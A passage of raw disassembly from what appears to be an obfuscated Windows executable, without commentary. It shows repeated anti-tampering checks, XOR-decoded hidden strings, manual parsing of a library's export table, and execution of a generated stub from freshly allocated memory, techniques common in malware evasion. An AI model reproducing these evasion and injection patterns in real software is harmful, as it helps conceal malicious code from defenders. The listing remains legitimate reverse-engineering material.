mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c870
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c870
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c890
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001c93a
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c91a
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c91a
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c93a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
call fcn.140086980
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140028c34
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001ca04
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c9e4
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c9e4
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ca04
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001caae
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ca8e
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ca8e
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001caae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001cb58
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cb38
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cb38
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cb58
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001cc02
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cbe2
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cbe2
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cc02
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001ccac
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cc8c
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cc8c
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ccac
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001cd6e
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cd4e
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cd4e
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cd6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001ce18
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cdf8
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cdf8
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ce18
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.1400281cc
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001cef4
mov rax, qword gs:[0xd]
movabs r8, 0xee84212ad7c507c8
xor rax, r8
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r8
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r8
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ced4
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ced4
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cef4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140026f5f
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001cfa8
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d202
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d202
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14001d202
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.140018020
mov r15d, eax
mov rcx, qword gs:[0x2c]
cmp rcx, rsi
jne 0x14001d067
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14001d222
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14001d222
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14001d222
test r15d, r15d
jne 0x14001d282
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001d110
mov rax, qword gs:[0xd]
movabs rcx, 0xee84212ad7c507c8
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14001d242
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14001d242
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14001d242
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001d1d7
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14001d262
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14001d262
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14001d262
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jae 0x140026f5f
mov r15d, 0x76bfe48f
jmp 0x14001cf12
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14008d948
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xa814b3e2
mov dword [rbp + 0x214], 0x86601a30
mov dword [rbp + 0x218], 0xbd0c4522
mov word [rbp + 0x21c], 0x55
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x10dca5af9
movabs r9, 0xdb3469eb2
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x1b668d3d64
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14001d325
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x6c4cf001
mov dword [rbp + 0x84], 0xc1e99b1c
mov word [rbp + 0x88], 0xdd
mov r8, r14
movabs r9, 0x97c1d32ca
mov r10d, 9
movabs r11, 0x12f83a6594
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14001d3c3
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001d64c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001d64c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001d64c
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001d64c
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001d64c
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001d4be
inc rax
test edi, edi
jne 0x14001d4a9
test r8d, r8d
je 0x14001d4d0
inc rdx
cmp rdx, rsi
jb 0x14001d498
jmp 0x14001d64c
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001d64c
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14001d649
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140086980
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140028c34
lea rcx, [rbp + 0x7420]
call fcn.1400281cc
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.1400281cc
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001d55e
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400b0400
mov dword [0x1400f0bc4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400f0bc0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f0bc8]
mov word [rdi + 8], ax
mov al, byte [0x1400f0bca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400b0aa0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f0bc4], r14d
test edi, edi
js 0x14001d65f
jmp 0x14001d64c
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14001d675
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140017ae8
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x67a550cd
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x2c]
ja 0x140026bcb
cmp rax, rbx
jne 0x14001d738
mov rax, qword gs:[0xd]
mov r15d, 0x76bfe48f
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d718
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d718
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d738
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbea0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400dbfb0]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x3d44c5fe
mov word [rbp + 0xbc4], 0x1de
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs r9, 0x280c09811c
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
movabs r15, 0x10dca5af9
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xba0]
xor dil, r8b
mov byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x5018130238
cmp r9, rax
jb 0x14001d798
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14000cbdc
mov rax, qword gs:[0x2c]
cmp rax, rbx
mov r15d, 0x76bfe48f
movabs rsi, 0xee84212ad7c507c8
jne 0x14001d8d4
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d8b4
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d8b4
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d8d4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008d948
int3
call fcn.140017d48
mov rcx, qword gs:[0x2c]
test al, al
jne 0x14001dc7b
cmp rcx, rbx
jne 0x14001d98b
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d96b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d96b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d98b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0x5d
mov r10, r14
movabs rbx, 0x10dca5af9
movabs r8, 0x11ea700a9a
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x23d4e01534
lea r13d, [r11 - 0x10]
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
add r10, r13
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001d9d9
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400dbf50]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400dbc80]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov ebx, 0x67a550cd
movabs rsi, 0x10dca5af9
mov r9d, Ordinal_35
movabs r10, 0x20ab810446
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
add r8, r13
add r10, r12
add r9, 0x1f
movabs rax, 0x415702088c
cmp r10, rax
jb 0x14001da7f
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2c]
cmp rax, rbx
movabs rsi, 0xee84212ad7c507c8
jne 0x14001dbcd
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001dbad
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001dbad
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001dbcd
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rbx
jne 0x140027620
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001dc5b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001dc5b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027620
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
cmp rcx, rbx
jne 0x14001dd1c
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001dcfc
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001dcfc
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001dd1c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dc000]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs r9, 0x10dca5afa0
lea r10d, [rax + 0x10]
movabs r11, 0x21b94b5f40
movabs r15, 0x10dca5af9
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14001dd63
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140017b38
mov rax, qword gs:[0x2c]
cmp rax, rbx
mov r15d, 0x76bfe48f
jne 0x14001de83
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001de63
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001de63
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001de83
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008d948
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14001e024
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0x5d
mov r10, r14
movabs rbx, 0x10dca5af9
movabs r8, 0x11ea700a9a
lea r11d, [rax + 0x11]
movabs r9, 0x23d4e01534
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
